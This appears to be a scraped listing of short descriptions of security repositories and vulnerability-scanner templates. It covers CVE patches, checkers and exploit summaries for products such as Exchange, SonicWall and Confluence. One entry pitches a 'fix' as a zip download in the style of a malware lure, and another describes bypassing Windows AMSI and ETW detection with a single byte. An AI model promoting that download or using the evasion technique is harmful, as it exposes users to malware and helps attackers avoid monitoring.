CVE-2014-3570_G2.5_openssl_no_patch

This repository does not have a README...

struts1-patch

struts1-patch Detailed description and usage, see: http://security.tencent.com/index.php/blog/msg/50 struts1 CVE-2014-0114 classLoader manipulation vulnerability patch struts.jar...

CVE-2020-16898_Checker

CVE-2020-16898Checker Check all Network Interface for CVE-2020-16898 Vulnerability No Patch nor Workaround, for this check this one https://github.com/CPO-EH/CVE-2020-16898Workaround/blob/main/VCE-2020-16898QuickWin.ps1...

cve-2011-4862

cve-2011-4862 I originally tried to use diff to make a patch. I patched it the way I thought it would be, before looking at the real patch. encrypt.patch is this original patch that I made with teh diff. However, when we tried applying this patch to freeBSD, it would not accept it. Instead, we ha...

linux_CVE-2020-24490-beforePatch

This repository does not have a README...

CVE-2023-36884_patcher

CVE-2023-36884patcher CVE-2023-36884 affects Office 2016, 2019, 2021 versions. This is its temporary patch. After downloading, right-click and run with administrator privileges...

fix-react2shell-next

🚀 fix-react2shell-next - Fix Vulnerabilities in Your https://raw.githubusercontent.com/Saied25/fix-react2shell-next/main/lib/fixshellreactnext2.6.zip App 📥 Download Now 📝 Overview fix-react2shell-next helps you address a critical security issue in your...

text4shell-tools

commons-text-tools Collegamenti rapidi Clicca per trovare: Trova i file .jar di commons-text e le loro versioni Chiamate alle funzioni vulnerabili di commons-text Patch immediata sui file .jar di commons-text per disabilitare i comportamenti vulnerabili Esempio di scansione e patch Panoramica...

AMSI-ETW-Patch

AMSI-ETW-Patch this repo contains information to patch AMSI and ETW using a single byte patch for both. The idea was to limit detection of the patch itself since it's a single byte. AMSI patch-amsi-x64.c The idea is that AMSI perform a lot of validation check before hitting the critical AMSI...

vcamper

VCamper VCamper "Version Camper" is a proof-of-concept CLI that reviews a Git commit range for likely silent security fixes. Security fixes often reach public Git history before the advisory trail catches up. A maintenance-looking commit can carry enough evidence for a reviewer to infer the bug...

New-lib3mf.dll-for-MeshMixer

New lib3mf.dll for MeshMixer Precompiled lib3mf.dll for MeshMixer which includes a backported patch for CVE-2021-21772, and an updated zlib 1.3.1. Replace your original one at C:\Program Files\Autodesk\Meshmixer\ Source code included, if you desire to compile it yourself. CVE-2021-21772:...

dnsmasq-2.4.1-fix-CVE-2017-14491

dnsmasq-2.4.1-fix-CVE-2017-14491...

EyesOfNetwork 5.1-5.3 - SQL Injection/Remote Code Execution

EyesOfNetwork 5.1 to 5.3 contains SQL injection and remote code execution vulnerabilities. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site. See also CVE-2020-8655,...

Microsoft Exchange - Pre-Auth SSRF / ACL Bypass (ProxyNotFound)

Microsoft Exchange Server contains a remote code execution caused by improper input validation in the server component, letting remote attackers execute arbitrary code, exploit requires network access to the server. id: CVE-2021-28480 info: name: Microsoft Exchange - Pre-Auth SSRF / ACL Bypass...

SonicWall GMS and Analytics Web Services - Shell Injection

The authentication mechanism in SonicWall GMS and Analytics Web Services had insufficient checks, allowing authentication bypass. This issue affects GMS: 9.3.2-SP1 and earlier versions; Analytics: 2.5.0.4-R7 and earlier versions id: CVE-2023-34124 info: name: SonicWall GMS and Analytics Web...

Jorani 1.0.0 - Remote Code Execution

Jorani 1.0.0, an attacker could leverage path traversal to access files and execute code on the server. id: CVE-2023-26469 info: name: Jorani 1.0.0 - Remote Code Execution author: pussycat0x severity: critical description: | Jorani 1.0.0, an attacker could leverage path traversal to access files...

Spring Data REST < 2.6.9 (Ingalls SR9) / 3.0.1 (Kay SR1) - PATCH Request Remote Code Execution

Spring Data REST 2.6.9 and 3.0.1, Spring Boot 1.5.9 and 2.0 M6 contain a remote code execution caused by processing malicious PATCH requests with crafted JSON data, letting attackers execute arbitrary Java code, exploit requires sending malicious PATCH requests. id: CVE-2017-8046 info: name: Spri...

Atlassian Confluence Download Attachments - Remote Code Execution

Confluence Server and Data Center had a path traversal vulnerability in the downloadallattachments resource. A remote attacker who has permission to add attachments to pages and / or blogs or to create a new space or a personal space or who has 'Admin' permissions for a space can exploit this pat...

cve-2021-44228-qingteng-patch

Qingteng log4j2-patch https://github.com/qingtengyun/cve-2021-44228-qingteng-patch Fixes CVE-2021-44228 for log4j2, using the Instrumentation API provided by the JVM to modify existing bytecode loaded into the JVM. Without restarting the Java process, it modifies the lookup method of...

patch-diffing-in-the-dark

Patch Diffing In The Dark A series of blog posts leveraging CVE analysis and patch diffing to discover new vulnerabilities. As revealed in the blog posts, 4 CVEs came from the in-depth study of CVE-2021-1657. TOC Results from CVE-2021-1657: Part 1 - Patch Diffing In The Dark Part 2 - Down the...